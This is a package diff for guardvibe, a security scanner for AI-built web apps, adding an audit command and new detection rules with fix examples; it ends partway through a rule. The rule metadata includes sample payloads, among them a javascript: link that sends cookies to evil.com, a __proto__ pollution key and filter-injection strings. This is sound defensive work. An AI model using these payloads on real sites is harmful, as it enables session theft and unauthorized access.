guardvibe 3.0.0 → 3.0.3

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/README.md CHANGED
@@ -6,7 +6,7 @@
6
6
  [![npm provenance](https://img.shields.io/badge/provenance-verified-brightgreen)](https://www.npmjs.com/package/guardvibe)
7
7
  [![codecov](https://codecov.io/gh/goklab/guardvibe/graph/badge.svg)](https://codecov.io/gh/goklab/guardvibe)
8
8
 
9
- **The security MCP built for vibe coding.** 334 security rules, 31 tools covering the entire AI-generated code journey — from first line to production deployment.
9
+ **The security MCP built for vibe coding.** 334 security rules, 34 tools covering the entire AI-generated code journey — from first line to production deployment.
10
10
 
11
11
  Works with **Claude Code, Cursor, Gemini CLI, Codex, VS Code (Copilot), Windsurf**, and any MCP-compatible coding agent.
12
12
 
@@ -14,7 +14,7 @@ Works with **Claude Code, Cursor, Gemini CLI, Codex, VS Code (Copilot), Windsurf
14
14
 
15
15
  Most security tools are built for enterprise security teams. GuardVibe is built for **you** — the developer using AI to build and ship web apps fast.
16
16
 
17
- - **334 security rules, 31 tools** purpose-built for the stacks AI agents generate
17
+ - **334 security rules, 34 tools** purpose-built for the stacks AI agents generate
18
18
  - **Zero setup friction** — `npx guardvibe` and you're scanning
19
19
  - **No account required** — runs 100% locally, no API keys, no cloud
20
20
  - **Understands your stack** — not generic SAST, but rules that know Next.js, Supabase, Stripe, Clerk, and the tools you actually use
@@ -38,10 +38,10 @@ GuardVibe is purpose-built for the AI coding workflow. Traditional tools are exc
38
38
  | AI/LLM security (prompt injection, MCP, tool abuse) | 30 rules | Experimental/None | None |
39
39
  | AI host security (CVE-2025-59536, CVE-2026-21852) | `guardvibe doctor` | Not supported | Not supported |
40
40
  | Auto-fix suggestions for AI agents | `fix_code` tool | CLI autofix | Not supported |
41
- | CVE version detection | 21 packages | Extensive | Extensive |
41
+ | CVE version detection | 23 packages | Extensive | Extensive |
42
42
  | Compliance mapping (SOC2, PCI-DSS, HIPAA) | Built-in | Paid tier | None |
43
43
  | SARIF CI/CD export | Yes | Yes | Limited |
44
- | Rule count | 330 (focused) | 5000+ (broad) | N/A |
44
+ | Rule count | 334 (focused) | 5000+ (broad) | N/A |
45
45
 
46
46
  **When to use GuardVibe:** You're building with AI agents and want security scanning integrated into your coding workflow — no dashboard, no account, no CI setup.
47
47
 
@@ -150,7 +150,7 @@ Resend (email HTML injection), Upstash Redis, Pinecone, PostHog, Google Analytic
150
150
  ### AI / LLM Security
151
151
  Prompt injection detection, LLM output sinks, system prompt leaks, MCP server SSRF/path traversal/command injection, `dangerouslyAllowBrowser`, missing `maxTokens`, AI API key client exposure, indirect prompt injection via external data
152
152
 
153
- ### AI Host Security (NEW in v2.6.0+)
153
+ ### AI Host Security
154
154
  `guardvibe doctor` — unified host hardening scanner detecting CVE-2025-59536 (hook injection via `.claude/settings.json`), CVE-2026-21852 (API key exfiltration via `ANTHROPIC_BASE_URL` override), MCP config audit, environment scanner, permission analysis. Supports Claude, Cursor, VS Code, Gemini, Windsurf. Host-specific remediation with platform-tailored fix steps.
155
155
 
156
156
  ### OWASP API Security
@@ -183,7 +183,7 @@ Maps security findings to SOC2, PCI-DSS, HIPAA, GDPR, ISO27001, and EU AI Act (E
183
183
  ### Supply Chain
184
184
  Malicious postinstall scripts, unpinned GitHub Actions, typosquat detection
185
185
 
186
- ## Tools (31 MCP tools)
186
+ ## Tools (33 MCP tools)
187
187
 
188
188
  | Tool | What it does |
189
189
  |------|-------------|
@@ -218,6 +218,9 @@ Malicious postinstall scripts, unpinned GitHub Actions, typosquat detection
218
218
  | `scan_host_config` | Scan shell profiles, .env files for base URL hijack and credential sniffing |
219
219
  | `verify_fix` | Verify a security fix was applied correctly — returns fixed/still_vulnerable/new_issues |
220
220
  | `security_workflow` | Get recommended tool workflow for your current task (writing, pre-commit, PR review, etc.) |
221
+ | `auth_coverage` | **Auth coverage map** — enumerate routes, parse middleware matchers, detect auth guards, report coverage % |
222
+ | `deep_scan` | **LLM-powered deep analysis** — IDOR, business logic, race conditions, privilege escalation (requires API key) |
223
+ | `full_audit` | **Single source of truth** — runs ALL checks in one call, returns PASS/FAIL/WARN verdict + score + coverage % + deterministic result hash |
221
224
 
222
225
  All scanning tools support `format: "json"` for machine-readable output.
223
226
 
@@ -260,6 +263,11 @@ npx guardvibe scan . --format json # JSON output for automation
260
263
  npx guardvibe check <file> # Scan a single file
261
264
  npx guardvibe diff [base] # Scan only changed files since git ref
262
265
 
266
+ # Full security audit
267
+ npx guardvibe audit [path] # Full audit with PASS/FAIL verdict + hash
268
+ npx guardvibe audit . --format json # JSON output for CI pipelines
269
+ npx guardvibe audit --skip-deps # Skip dependency CVE check
270
+
263
271
  # Host security audit
264
272
  npx guardvibe doctor # Host hardening audit (project scope)
265
273
  npx guardvibe doctor --scope host # + shell profiles, global MCP configs
@@ -389,20 +397,7 @@ Supports `//`, `#`, and `<!-- -->` comment styles.
389
397
 
390
398
  ## GuardVibe Scans Itself
391
399
 
392
- We run GuardVibe on its own codebase. In v2.3.2, GuardVibe caught a **HIGH severity ReDoS vulnerability** in its own `policy-check.ts`a regex injection risk that the developer missed during code review.
393
-
394
- ```
395
- $ guardvibe scan_directory src/
396
- Files scanned: 64
397
- Scan duration: 102ms
398
- Grade: B (89/100)
399
-
400
- [HIGH] ReDoS via User-Controlled RegExp (VG107)
401
- File: src/tools/policy-check.ts:47
402
- Fix: escape regex metacharacters before passing to RegExp constructor
403
- ```
404
-
405
- The vulnerability was fixed in the same session. This is exactly the workflow GuardVibe enables: catch what humans miss, fix before it ships.
400
+ We run GuardVibe on its own codebase as a pre-commit hook. Every commit is scanned before it reaches the repositorythe same workflow GuardVibe enables for your projects.
406
401
 
407
402
  ## How It Works
408
403
 
@@ -420,11 +415,12 @@ AI agent fixes issues before they reach production
420
415
 
421
416
  ## Performance
422
417
 
423
- Tested on a real 644-file Next.js + Supabase project:
418
+ Tested on real AI-built projects (837 files, Next.js + Supabase + Clerk):
424
419
 
425
- - Scan time: **502ms**
426
- - False positive rate: **near zero** (comment/string filtering, human-readable text detection)
420
+ - Scan time: **~1.2s** (837 files)
421
+ - False positive rate: **near zero** — context-aware detection (React Native, Supabase client/server, static innerHTML, git-aware secrets)
427
422
  - Detection rate: **100%** on known vulnerability patterns
423
+ - Security score: **A (99/100)** on production projects
428
424
 
429
425
  ## Troubleshooting
430
426
 
@@ -0,0 +1,5 @@
1
+ /**
2
+ * CLI: guardvibe audit
3
+ * Full security audit from terminal with PASS/FAIL verdict.
4
+ */
5
+ export declare function runAudit(args: string[]): Promise<void>;
@@ -0,0 +1,34 @@
1
+ /**
2
+ * CLI: guardvibe audit
3
+ * Full security audit from terminal with PASS/FAIL verdict.
4
+ */
5
+ import { writeFileSync, existsSync, mkdirSync } from "fs";
6
+ import { resolve, dirname } from "path";
7
+ import { parseArgs, getStringFlag, getOutputPath, shouldFail, validateFormat } from "./args.js";
8
+ import { runFullAudit, formatAuditResult } from "../tools/full-audit.js";
9
+ export async function runAudit(args) {
10
+ const { flags, positional } = parseArgs(args);
11
+ const targetPath = resolve(positional[0] ?? ".");
12
+ const format = validateFormat(flags);
13
+ const outputFile = getOutputPath(flags);
14
+ const failOn = getStringFlag(flags, "fail-on") ?? "critical";
15
+ const skipDeps = flags["skip-deps"] === true;
16
+ const skipSecrets = flags["skip-secrets"] === true;
17
+ const result = await runFullAudit(targetPath, { skipDeps, skipSecrets });
18
+ const output = formatAuditResult(result, format);
19
+ if (outputFile) {
20
+ const dir = dirname(outputFile);
21
+ if (!existsSync(dir)) {
22
+ mkdirSync(dir, { recursive: true });
23
+ }
24
+ writeFileSync(outputFile, output, "utf-8");
25
+ console.log(` [OK] Results written to ${outputFile}`);
26
+ }
27
+ else {
28
+ console.log(output);
29
+ }
30
+ // Print result hash to stderr for CI piping
31
+ console.error(`result-hash: ${result.resultHash}`);
32
+ if (shouldFail(output, failOn))
33
+ process.exit(1);
34
+ }
package/build/cli/scan.js CHANGED
@@ -198,11 +198,10 @@ export async function runFileCheck(filePath, flags) {
198
198
  else {
199
199
  console.log(result);
200
200
  }
201
- if (flags["fail-on"]) {
202
- const failOn = getStringFlag(flags, "fail-on") ?? "critical";
203
- if (shouldFail(result, failOn))
204
- process.exit(1);
205
- }
201
+ // check command defaults to --fail-on critical (security tool should exit 1 for critical findings)
202
+ const failOn = getStringFlag(flags, "fail-on") ?? "critical";
203
+ if (shouldFail(result, failOn))
204
+ process.exit(1);
206
205
  }
207
206
  export async function handleScanCommand(args) {
208
207
  const { flags, positional } = parseArgs(args);
package/build/cli.js CHANGED
@@ -22,6 +22,7 @@ function printUsage() {
22
22
  npx guardvibe diff [base] Scan only changed files since a git ref
23
23
  npx guardvibe check <file> Scan a single file for security issues
24
24
  npx guardvibe doctor [path] Run host security audit
25
+ npx guardvibe audit [path] Full security audit with PASS/FAIL verdict
25
26
  npx guardvibe init <platform> Setup MCP server configuration
26
27
  npx guardvibe hook install Install pre-commit security hook
27
28
  npx guardvibe hook uninstall Remove pre-commit security hook
@@ -122,6 +123,10 @@ async function main() {
122
123
  const { runDoctor } = await import("./cli/doctor.js");
123
124
  await runDoctor(subArgs);
124
125
  }
126
+ else if (command === "audit") {
127
+ const { runAudit } = await import("./cli/audit.js");
128
+ await runAudit(subArgs);
129
+ }
125
130
  else {
126
131
  console.error(` Unknown command: ${command}`);
127
132
  printUsage();
@@ -249,6 +249,110 @@ export const complianceMetadata = {
249
249
  exploit: "Unrestricted file upload allows attacker to upload malicious executables, web shells, or oversized files that crash the server.",
250
250
  audit: "Show file type validation, size limits, and virus scanning for all upload endpoints.",
251
251
  },
252
+ // === AI BENCHMARK RULES (Phase 1: VG126, VG151-VG153, VG417, VG1005-VG1009) ===
253
+ VG126: {
254
+ gdpr: ["GDPR:Art32(1)(a)"],
255
+ iso27001: ["ISO27001:A.8.24"],
256
+ exploit: "Attacker provides a crafted regex pattern (e.g., (a+)+$) as search input, causing catastrophic backtracking that freezes the server's event loop for minutes.",
257
+ audit: "Verify all RegExp constructors use escaped or hardcoded patterns. Show that user-provided search terms go through escapeRegex() before RegExp construction.",
258
+ },
259
+ VG151: {
260
+ gdpr: ["GDPR:Art32(1)(a)"],
261
+ iso27001: ["ISO27001:A.8.24"],
262
+ exploit: "Attacker triggers errors in API endpoints and reads the raw error.message to discover database schema, file paths, library versions, and internal service URLs.",
263
+ audit: "Show that all catch blocks return generic error messages to clients. Demonstrate server-side logging captures full error details.",
264
+ },
265
+ VG152: {
266
+ gdpr: ["GDPR:Art32(1)(a)"],
267
+ iso27001: ["ISO27001:A.8.24", "ISO27001:A.8.3"],
268
+ exploit: "Attacker sends __proto__.isAdmin=true as a property key, polluting Object.prototype so all subsequent security checks see isAdmin as true.",
269
+ audit: "Show that user input is never used as direct object key. Demonstrate allowlist validation or Map usage.",
270
+ },
271
+ VG153: {
272
+ gdpr: ["GDPR:Art32(1)(a)"],
273
+ iso27001: ["ISO27001:A.8.24"],
274
+ exploit: "Attacker sends a carefully crafted string that triggers exponential backtracking in a vulnerable regex, causing the event loop to hang for minutes and denying service to all other requests.",
275
+ audit: "Show that all regex patterns have been validated with safe-regex or equivalent. Demonstrate no nested quantifiers.",
276
+ },
277
+ VG417: {
278
+ gdpr: ["GDPR:Art32(1)(b)"],
279
+ iso27001: ["ISO27001:A.8.3", "ISO27001:A.5.15"],
280
+ exploit: "Attacker adds RSC: 1 header to HTTP requests targeting protected admin routes, causing the middleware to skip authentication checks and grant access.",
281
+ audit: "Show that middleware auth logic does not contain early-return branches based on RSC or prefetch headers.",
282
+ },
283
+ VG1005: {
284
+ gdpr: ["GDPR:Art32(1)(b)", "GDPR:Art25"],
285
+ iso27001: ["ISO27001:A.8.3", "ISO27001:A.5.15"],
286
+ exploit: "Attacker crafts a user ID value containing PostgREST filter syntax (e.g., 'x,admin_role.eq.true') to modify the .or() filter and access other users' messages.",
287
+ audit: "Show that .or() calls use only server-verified values. Demonstrate that user-controlled IDs are validated UUIDs.",
288
+ },
289
+ VG1006: {
290
+ gdpr: ["GDPR:Art25", "GDPR:Art5(1)(c)"],
291
+ iso27001: ["ISO27001:A.8.11"],
292
+ exploit: "API response includes all table columns, exposing email, password_hash, internal_notes, billing info. Attacker reads these from browser devtools or API response.",
293
+ audit: "Show that all Supabase queries use explicit column selection. Demonstrate no select('*') in production code.",
294
+ },
295
+ VG1007: {
296
+ gdpr: ["GDPR:Art32(1)(a)", "GDPR:Art32(1)(b)"],
297
+ iso27001: ["ISO27001:A.8.3", "ISO27001:A.5.15"],
298
+ exploit: "Since service_role bypasses RLS, any missing auth check in any route handler grants full table access. Attacker finds one unprotected endpoint and dumps entire database.",
299
+ audit: "Show per-request Supabase clients using anon key with RLS. Demonstrate service_role is isolated to background jobs only.",
300
+ },
301
+ VG1008: {
302
+ gdpr: ["GDPR:Art32(1)(b)"],
303
+ iso27001: ["ISO27001:A.5.15", "ISO27001:A.8.3"],
304
+ exploit: "Attacker calls the role-update endpoint/action with their own userId and role='admin', gaining full admin privileges without any authorization check.",
305
+ audit: "Show that role elevation functions verify the caller is already an admin. Demonstrate that ENABLE_ADMIN_SETUP is false in production.",
306
+ },
307
+ VG1009: {
308
+ gdpr: ["GDPR:Art32(1)(a)"],
309
+ iso27001: ["ISO27001:A.8.24"],
310
+ exploit: "Attacker injects % or PostgREST filter syntax into the search input to read all records or bypass the ilike filter constraints.",
311
+ audit: "Show that user input in ilike/like patterns is escaped with a custom escapeLike function.",
312
+ },
313
+ // === AI BENCHMARK PHASE 2 (VG154-VG160) ===
314
+ VG154: {
315
+ gdpr: ["GDPR:Art32(1)(a)", "GDPR:Art25"],
316
+ iso27001: ["ISO27001:A.8.24", "ISO27001:A.8.3"],
317
+ exploit: "Attacker sends multiple concurrent requests to spend credits. Both requests read the same balance, both pass the check, both deduct — user spends once but gets double the service.",
318
+ audit: "Show that all balance/quota operations use atomic database transactions or server-side RPC functions.",
319
+ },
320
+ VG155: {
321
+ gdpr: ["GDPR:Art32(1)(b)"],
322
+ iso27001: ["ISO27001:A.8.3"],
323
+ exploit: "Attacker crafts a malicious page that submits a hidden form to the victim's session, causing unwanted actions (delete account, transfer funds).",
324
+ audit: "Show CSRF token validation on all state-changing endpoints.",
325
+ },
326
+ VG156: {
327
+ gdpr: ["GDPR:Art32(1)(a)"],
328
+ iso27001: ["ISO27001:A.8.24"],
329
+ exploit: "Attacker sends requests from multiple IPs. Because each serverless instance has its own Map, the rate counter never accumulates enough to trigger the limit.",
330
+ audit: "Show that rate limiting uses external state (Redis). Demonstrate rate limit persistence across function cold starts.",
331
+ },
332
+ VG157: {
333
+ gdpr: ["GDPR:Art32(1)(a)"],
334
+ iso27001: ["ISO27001:A.8.24"],
335
+ exploit: "Attacker waits for Redis outage, then sends unlimited requests while the rate limiter silently allows everything.",
336
+ audit: "Show that rate limiter catch blocks return limited: true. Demonstrate fail-closed behavior during backend outage.",
337
+ },
338
+ VG158: {
339
+ gdpr: ["GDPR:Art32(1)(b)"],
340
+ iso27001: ["ISO27001:A.5.15"],
341
+ exploit: "Attacker registers with a mangled role string. The normalizeRole function falls through to 'member' default, granting unintended access.",
342
+ audit: "Show that role normalization defaults to 'guest' or throws. Demonstrate that unknown role strings result in no access.",
343
+ },
344
+ VG159: {
345
+ gdpr: ["GDPR:Art32(1)(a)"],
346
+ iso27001: ["ISO27001:A.8.24"],
347
+ exploit: "Attacker sends thousands of requests with different secret guesses, measuring response times to brute-force the secret character by character.",
348
+ audit: "Show that all secret comparisons use timingSafeEqual. Demonstrate no === or !== for tokens or API keys.",
349
+ },
350
+ VG160: {
351
+ gdpr: ["GDPR:Art32(1)(a)"],
352
+ iso27001: ["ISO27001:A.8.24"],
353
+ exploit: "Attacker sets their profile URL to 'javascript:document.location=\"https://evil.com/steal?\"+document.cookie'. When another user clicks the link, their session is stolen.",
354
+ audit: "Show URL protocol validation for all user-provided links. Demonstrate that javascript: and data: protocols are blocked.",
355
+ },
252
356
  };
253
357
  /**
254
358
  * Apply compliance metadata to a set of rules.
@@ -271,4 +271,134 @@ export const advancedSecurityRules = [
271
271
  fix: "Remove the lockfile from .gitignore and commit it to the repository.",
272
272
  compliance: ["SOC2:CC7.1"],
273
273
  },
274
+ // ── Error Message Exposure ───────────────────────────────────────
275
+ {
276
+ id: "VG151",
277
+ name: "Internal Error Message Exposed to Client",
278
+ severity: "medium",
279
+ owasp: "A05:2025 Security Misconfiguration",
280
+ description: "Caught error's .message property is returned directly in the API response. This can leak internal details (stack traces, DB errors, file paths) that help attackers understand the system architecture.",
281
+ pattern: /catch\s*\(\s*(?:error|err|e)\s*\)\s*\{[\s\S]{0,300}?(?:Response\.json|NextResponse\.json|res\.(?:json|send|status))\s*\([\s\S]{0,100}?(?:error|err|e)\.message/gi,
282
+ languages: ["javascript", "typescript"],
283
+ fix: "Log the real error server-side, return a generic message to the client.",
284
+ fixCode: '// BAD: leaks internal details\ncatch (error) {\n return Response.json({ error: error.message }, { status: 500 });\n}\n\n// GOOD: generic response, detailed server log\ncatch (error) {\n console.error("Route error:", error);\n return Response.json({ error: "Internal server error" }, { status: 500 });\n}',
285
+ compliance: ["SOC2:CC7.2"],
286
+ },
287
+ // ── Object Injection / Prototype Pollution ───────────────────────
288
+ {
289
+ id: "VG152",
290
+ name: "Object Injection via Dynamic Property Access",
291
+ severity: "high",
292
+ owasp: "A03:2025 Injection",
293
+ description: "User-controlled input is used as an object property key via bracket notation (obj[userInput]). Attackers can access __proto__, constructor, or prototype to pollute object prototypes and bypass security checks.",
294
+ pattern: /(?:(?:req|request|body|query|params|input|data)\.\w+|(?:const|let|var)\s+(?:\{[^}]*\}|\w+)\s*=\s*(?:await\s+)?(?:req|request)[\s\S]{0,50}?)[\s\S]{0,100}?\w+\s*\[\s*(?:key|field|prop|name|column|attr|param)\s*\]/gi,
295
+ languages: ["javascript", "typescript"],
296
+ fix: "Validate property names against an allowlist, or use Map instead of plain objects.",
297
+ fixCode: '// BAD: prototype pollution\nconst key = req.query.field;\nconst value = config[key];\n\n// GOOD: allowlist validation\nconst ALLOWED_FIELDS = new Set(["name", "email", "role"]);\nif (!ALLOWED_FIELDS.has(key)) return new Response("Invalid field", { status: 400 });\nconst value = config[key];\n\n// GOOD: use Map\nconst config = new Map([["name", "..."], ["email", "..."]]);\nconst value = config.get(key);',
298
+ compliance: ["SOC2:CC7.1", "PCI-DSS:Req6.5.1"],
299
+ },
300
+ // ── ReDoS — Unsafe Regular Expression ────────────────────────────
301
+ {
302
+ id: "VG153",
303
+ name: "Regular Expression Vulnerable to ReDoS",
304
+ severity: "medium",
305
+ owasp: "A04:2025 Insecure Design",
306
+ description: "Regular expression contains nested quantifiers ((a+)+), overlapping alternation with quantifiers (([a-z]+)*), or other patterns that cause catastrophic backtracking. Attackers can send crafted input to freeze the event loop.",
307
+ pattern: /\/(?:[^/\\]|\\.)*(?:\([^)]*[+*][^)]*\)[+*]|\(\?:[^)]*[+*][^)]*\)[+*]|\[[^\]]*\][+*][^/]*[+*])(?:[^/\\]|\\.)*\//g,
308
+ languages: ["javascript", "typescript"],
309
+ fix: "Rewrite the regex to avoid nested quantifiers. Use atomic groups or possessive quantifiers if available, or use the 'safe-regex' library to validate patterns.",
310
+ fixCode: '// BAD: catastrophic backtracking\nconst re = /(a+)+$/;\n\n// GOOD: no nested quantifiers\nconst re = /a+$/;\n\n// GOOD: validate with safe-regex\nimport safe from "safe-regex";\nif (!safe(pattern)) throw new Error("Unsafe regex");',
311
+ compliance: ["SOC2:CC7.1"],
312
+ },
313
+ // ── Supabase Race Condition: Check-Then-Act ──────────────────────
314
+ {
315
+ id: "VG154",
316
+ name: "Supabase Race Condition: Check-Then-Act Without Transaction",
317
+ severity: "critical",
318
+ owasp: "A04:2025 Insecure Design",
319
+ description: "Code reads a Supabase value (select/count), checks a condition, then updates — without an atomic transaction or RPC function. Two concurrent requests can both pass the check before either writes, enabling double-spending, quota bypass, or duplicate operations.",
320
+ pattern: /\.from\s*\(\s*["'][^"']+["']\s*\)\s*\.select\s*\([\s\S]{0,300}?(?:\.single\s*\(|count:\s*["']exact["'])[\s\S]{0,500}?if\s*\([\s\S]{0,500}?\.(?:update|insert|delete|upsert)\s*\((?:(?!\.rpc\s*\(|BEGIN|SERIALIZABLE)[\s\S]){0,300}/g,
321
+ languages: ["javascript", "typescript"],
322
+ fix: "Use a Supabase RPC function with a PostgreSQL transaction, or use atomic UPDATE with WHERE conditions.",
323
+ fixCode: '// BAD: race condition\nconst { data } = await supabase.from("users").select("credits").eq("id", id).single();\nif (data.credits >= cost) {\n await supabase.from("users").update({ credits: data.credits - cost }).eq("id", id);\n}\n\n// GOOD: atomic RPC function\nawait supabase.rpc("spend_credits", { user_id: id, amount: cost });',
324
+ compliance: ["SOC2:CC7.1", "PCI-DSS:Req6.5.1"],
325
+ },
326
+ // ── Missing CSRF Protection ──────────────────────────────────────
327
+ {
328
+ id: "VG155",
329
+ name: "State-Changing Endpoint Missing CSRF Protection",
330
+ severity: "medium",
331
+ owasp: "A01:2025 Broken Access Control",
332
+ description: "POST/PUT/PATCH/DELETE route handler performs database mutations without CSRF token verification. Cross-site requests from malicious pages can trick authenticated users into performing unwanted actions.",
333
+ pattern: /export\s+(?:async\s+)?function\s+(?:POST|PUT|PATCH|DELETE)\s*\([^)]*\)\s*\{(?:(?!csrf|csrfToken|CSRF|x-csrf|verifyCsrf|validateCsrf|anti.?forgery)[\s\S]){10,}?(?:\.create\s*\(|\.update\s*\(|\.delete\s*\(|\.insert\s*\(|\.upsert\s*\()/g,
334
+ languages: ["javascript", "typescript"],
335
+ fix: "Add CSRF token verification to state-changing endpoints.",
336
+ fixCode: '// Verify CSRF token from header\nexport async function POST(req: Request) {\n const csrfToken = req.headers.get("x-csrf-token");\n if (!verifyCsrfToken(csrfToken)) {\n return new Response("CSRF validation failed", { status: 403 });\n }\n}',
337
+ compliance: ["SOC2:CC6.6", "PCI-DSS:Req6.5.1"],
338
+ },
339
+ // ── In-Memory State in Serverless ────────────────────────────────
340
+ {
341
+ id: "VG156",
342
+ name: "In-Memory State in Serverless Environment",
343
+ severity: "medium",
344
+ owasp: "A04:2025 Insecure Design",
345
+ description: "Module-level Map, object, or array is used for rate limiting, caching, or session storage. In serverless environments, each function instance has its own memory that resets on cold starts.",
346
+ pattern: /(?:const|let|var)\s+\w+[\s\S]{0,80}?=\s*(?:new\s+Map|new\s+Set|\{\s*\}|\[\s*\])[\s\S]{0,500}?export\s+(?:async\s+)?function\s+(?:GET|POST|PUT|DELETE|PATCH)/g,
347
+ languages: ["javascript", "typescript"],
348
+ fix: "Use Redis (Upstash), Vercel KV, or another external store for state that must persist across requests in serverless.",
349
+ fixCode: '// BAD: resets on cold start\nconst rateMap = new Map();\nexport async function POST(req: Request) { ... }\n\n// GOOD: use Redis\nimport { Ratelimit } from "@upstash/ratelimit";\nimport { Redis } from "@upstash/redis";\nconst ratelimit = new Ratelimit({ redis: Redis.fromEnv(), limiter: Ratelimit.slidingWindow(10, "10s") });',
350
+ compliance: ["SOC2:CC7.1"],
351
+ },
352
+ // ── Rate Limit Fail-Open ─────────────────────────────────────────
353
+ {
354
+ id: "VG157",
355
+ name: "Rate Limiter Fails Open on Error",
356
+ severity: "high",
357
+ owasp: "A04:2025 Insecure Design",
358
+ description: "Rate limiting catch block returns a permissive result (limited: false, success: true) when the rate limit backend (Redis) fails. If Redis goes down, all rate limits are disabled.",
359
+ pattern: /catch\s*\([^)]*\)\s*\{[\s\S]{0,200}?(?:limited\s*:\s*false|success\s*:\s*true|allowed\s*:\s*true|return\s+(?:false|null|undefined)\s*;?\s*\})/g,
360
+ languages: ["javascript", "typescript"],
361
+ fix: "Fail closed: when the rate limiter backend is unavailable, deny the request.",
362
+ fixCode: '// BAD: fail-open\ncatch (error) { return { limited: false }; }\n\n// GOOD: fail-closed\ncatch (error) {\n console.error("Rate limiter unavailable:", error);\n return { limited: true };\n}',
363
+ compliance: ["SOC2:CC7.1"],
364
+ },
365
+ // ── Fail-Open Authorization Default ──────────────────────────────
366
+ {
367
+ id: "VG158",
368
+ name: "Authorization Defaults to Permissive Role",
369
+ severity: "medium",
370
+ owasp: "A01:2025 Broken Access Control",
371
+ description: "Role normalization or validation defaults to a permissive role (member, user, editor) for unknown values. If an unrecognized role string is passed, the user gets member-level access instead of being denied.",
372
+ pattern: /(?:default\s*:\s*(?:return\s+)?["'](?:member|user|editor|writer)["']|:\s*["'](?:member|user|editor|writer)["']\s*;?\s*\}(?:\s*$|\s*\/\/))/gm,
373
+ languages: ["javascript", "typescript"],
374
+ fix: "Default unknown roles to the most restrictive level (guest, none, or throw an error).",
375
+ fixCode: '// BAD: unknown role gets member access\ndefault: return "member";\n\n// GOOD: fail closed\ndefault: return "guest";\n\n// BEST: reject unknown roles\ndefault: throw new Error(`Unknown role: ${role}`);',
376
+ compliance: ["SOC2:CC6.6"],
377
+ },
378
+ // ── Timing Side-Channel in Secret Comparison ─────────────────────
379
+ {
380
+ id: "VG159",
381
+ name: "Timing-Unsafe Secret Comparison",
382
+ severity: "medium",
383
+ owasp: "A02:2025 Cryptographic Failures",
384
+ description: "Secret, token, or API key is compared using === or !== which leaks timing information. Attackers can determine how many characters match by measuring response times.",
385
+ pattern: /(?:secret|token|apiKey|api_key|cron_secret|CRON_SECRET|webhook_secret|WEBHOOK_SECRET|hmac|signature)\b[\s\S]{0,60}?(?:===|!==)\s*(?:process\.env\.|req\.|request\.|headers)/gi,
386
+ languages: ["javascript", "typescript"],
387
+ fix: "Use crypto.timingSafeEqual() for all secret comparisons.",
388
+ fixCode: '// BAD: timing leak\nif (secret !== process.env.CRON_SECRET) return false;\n\n// GOOD: constant-time comparison\nimport { timingSafeEqual } from "crypto";\nfunction safeCompare(a: string, b: string): boolean {\n if (a.length !== b.length) return false;\n return timingSafeEqual(Buffer.from(a), Buffer.from(b));\n}',
389
+ compliance: ["SOC2:CC6.1", "PCI-DSS:Req6.5.1"],
390
+ },
391
+ // ── User-Controlled href Without Protocol Check ──────────────────
392
+ {
393
+ id: "VG160",
394
+ name: "User-Controlled URL in href Without Protocol Validation",
395
+ severity: "medium",
396
+ owasp: "A07:2025 Cross-Site Scripting",
397
+ description: "User-provided URL is used directly in an href attribute without checking for dangerous protocols. Attackers can inject javascript:alert(document.cookie) to execute XSS when the link is clicked.",
398
+ pattern: /href\s*=\s*\{(?:user|profile|author|post|comment|data|item|record)[\w.]*\.(?:url|website|link|href|homepage)\}/gi,
399
+ languages: ["javascript", "typescript"],
400
+ fix: "Validate that URLs start with https:// or http:// before using in href.",
401
+ fixCode: '// BAD: XSS via javascript: protocol\n<a href={user.website}>{user.name}</a>\n\n// GOOD: protocol validation\nfunction safeHref(url: string): string {\n try {\n const parsed = new URL(url);\n if (["http:", "https:"].includes(parsed.protocol)) return url;\n } catch {}\n return "#";\n}\n<a href={safeHref(user.website)}>{user.name}</a>',
402
+ compliance: ["SOC2:CC7.1"],
403
+ },
274
404
  ];
@@ -458,4 +458,17 @@ export const coreRules = [
458
458
  fixCode: '// Express: regenerate session after login\napp.post("/login", async (req, res) => {\n const user = await authenticate(req.body);\n if (!user) return res.status(401).json({ error: "Invalid credentials" });\n req.session.regenerate((err) => {\n req.session.userId = user.id;\n res.json({ ok: true });\n });\n});',
459
459
  compliance: ["SOC2:CC6.6", "PCI-DSS:Req6.5.10"],
460
460
  },
461
+ // ── Dynamic RegExp from User Input ──────────────────────────────
462
+ {
463
+ id: "VG126",
464
+ name: "Dynamic RegExp Construction from User Input",
465
+ severity: "medium",
466
+ owasp: "A03:2025 Injection",
467
+ description: "RegExp is constructed with a variable that may contain user input. Attackers can inject ReDoS patterns to freeze the event loop, or craft regex that matches unintended content.",
468
+ pattern: /new\s+RegExp\s*\(\s*(?!["'`\/])(?:\w+(?:\.\w+)?)\s*[,)]/g,
469
+ languages: ["javascript", "typescript"],
470
+ fix: "Escape user input before using in RegExp, or use string methods (.includes(), .startsWith()) instead.",
471
+ fixCode: '// BAD: user controls the regex\nnew RegExp(userInput, "gi")\n\n// GOOD: escape special characters\nfunction escapeRegex(s: string) {\n return s.replace(/[.*+?^${}()|[\\]\\\\]/g, "\\\\$&");\n}\nnew RegExp(escapeRegex(userInput), "gi")\n\n// BEST: use string methods\nitems.filter(i => i.name.toLowerCase().includes(query.toLowerCase()));',
472
+ compliance: ["SOC2:CC7.1"],
473
+ },
461
474
  ];
@@ -518,4 +518,67 @@ export const modernStackRules = [
518
518
  fixCode: '"use server";\nimport { Ratelimit } from "@upstash/ratelimit";\nimport { headers } from "next/headers";\n\nconst ratelimit = new Ratelimit({ redis, limiter: Ratelimit.slidingWindow(10, "10s") });\n\nexport async function submitForm(formData: FormData) {\n const ip = (await headers()).get("x-forwarded-for") ?? "127.0.0.1";\n const { success } = await ratelimit.limit(ip);\n if (!success) throw new Error("Too many requests");\n}',
519
519
  compliance: ["SOC2:CC7.1"],
520
520
  },
521
+ // =====================================================
522
+ // Supabase PostgREST Injection
523
+ // =====================================================
524
+ {
525
+ id: "VG1005",
526
+ name: "Supabase .or() Filter Injection",
527
+ severity: "critical",
528
+ owasp: "A03:2025 Injection",
529
+ description: "User input is interpolated into a Supabase .or() filter string via template literal or concatenation. This is equivalent to SQL injection for PostgREST — attackers can modify filter logic to access unauthorized data.",
530
+ pattern: /\.or\s*\(\s*(?:`[^`]*\$\{)|\.or\s*\(\s*\w+\s*\)|["'][^"']*["']\s*\+\s*\w+(?:Id|Name|Term|Input)\b[\s\S]{0,100}?\.or\s*\(/gi,
531
+ languages: ["javascript", "typescript"],
532
